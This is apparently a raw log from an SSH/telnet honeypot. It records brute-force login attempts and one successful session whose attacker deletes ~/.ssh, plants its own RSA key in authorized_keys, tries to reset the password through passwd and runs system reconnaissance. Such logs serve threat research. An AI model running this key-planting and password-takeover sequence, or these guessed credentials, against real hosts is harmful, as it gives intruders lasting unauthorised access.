{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":42192,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9cdcdd62dd","protocol":"ssh","message":"New connection: 103.63.108.25:42192 (159.203.135.109:22) [session: cc9cdcdd62dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:03:11.686069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:03:11.690297Z","src_ip":"103.63.108.25","session":"cc9cdcdd62dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:03:11.959418Z","src_ip":"103.63.108.25","session":"cc9cdcdd62dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password123","message":"login attempt [test/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:03:13.080098Z","src_ip":"103.63.108.25","session":"cc9cdcdd62dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:03:14.359349Z","src_ip":"103.63.108.25","session":"cc9cdcdd62dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.23.22.221","src_port":45949,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b0c1a33f38","protocol":"telnet","message":"New connection: 186.23.22.221:45949 (10.17.0.5:23) [session: c9b0c1a33f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:03:59.811980Z"}
{"eventid":"cowrie.session.closed","duration":13.536964178085327,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:13.348800Z","src_ip":"186.23.22.221","session":"c9b0c1a33f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":41244,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cf4880bc821","protocol":"ssh","message":"New connection: 103.63.108.25:41244 (159.203.135.109:22) [session: 1cf4880bc821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:26.567819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:26.574827Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:26.845473Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2","message":"login attempt [admin/admin2] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:27.943909Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:28.549201Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:28.552588Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:28.556441Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:28.844069Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.132.40","src_port":34636,"dst_ip":"159.203.135.109","dst_port":23,"session":"73be4c32e4d6","protocol":"telnet","message":"New connection: 148.230.132.40:34636 (159.203.135.109:23) [session: 73be4c32e4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:28.951267Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:29.444745Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:29.448501Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:29.736190Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:29.741487Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":42480,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9a2e417451a","protocol":"ssh","message":"New connection: 103.63.108.25:42480 (159.203.135.109:22) [session: a9a2e417451a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:30.010971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:30.018140Z","src_ip":"103.63.108.25","session":"a9a2e417451a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:30.309168Z","src_ip":"103.63.108.25","session":"a9a2e417451a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:31.435239Z","src_ip":"103.63.108.25","session":"a9a2e417451a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:32.712304Z","src_ip":"103.63.108.25","session":"a9a2e417451a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":45108,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7cb9a40dcc0","protocol":"ssh","message":"New connection: 103.63.108.25:45108 (159.203.135.109:22) [session: e7cb9a40dcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:32.981320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:32.990417Z","src_ip":"103.63.108.25","session":"e7cb9a40dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:33.260128Z","src_ip":"103.63.108.25","session":"e7cb9a40dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:34.362110Z","src_ip":"103.63.108.25","session":"e7cb9a40dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:35.639258Z","src_ip":"103.63.108.25","session":"e7cb9a40dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:35.977374Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:35.981039Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:36.275881Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:36.879620Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2\\n2qFvUcy7aADE\\n2qFvUcy7aADE\"|passwd|bash","message":"CMD: echo -e \"admin2\\n2qFvUcy7aADE\\n2qFvUcy7aADE\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:36.883027Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:36.886188Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:36.888968Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/87d2a5adc101b439e6a96a9e57759eb93358bc1bf558681f4f21c2635ba57696","size":32,"shasum":"87d2a5adc101b439e6a96a9e57759eb93358bc1bf558681f4f21c2635ba57696","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/87d2a5adc101b439e6a96a9e57759eb93358bc1bf558681f4f21c2635ba57696 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:37.165617Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:37.779639Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2\\n2qFvUcy7aADE\\n2qFvUcy7aADE\\n\"|passwd","message":"CMD: echo \"admin2\\n2qFvUcy7aADE\\n2qFvUcy7aADE\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:37.783008Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ac355c3b53aa2a91dbacd5831810555a49a27d3b76b5c1253563b139a9616a8c","size":25,"shasum":"ac355c3b53aa2a91dbacd5831810555a49a27d3b76b5c1253563b139a9616a8c","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ac355c3b53aa2a91dbacd5831810555a49a27d3b76b5c1253563b139a9616a8c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:38.059443Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:38.705879Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:38.709109Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:38.990880Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:39.616396Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:39.620270Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:39.908482Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:40.512655Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:40.516556Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:40.519945Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:40.800594Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
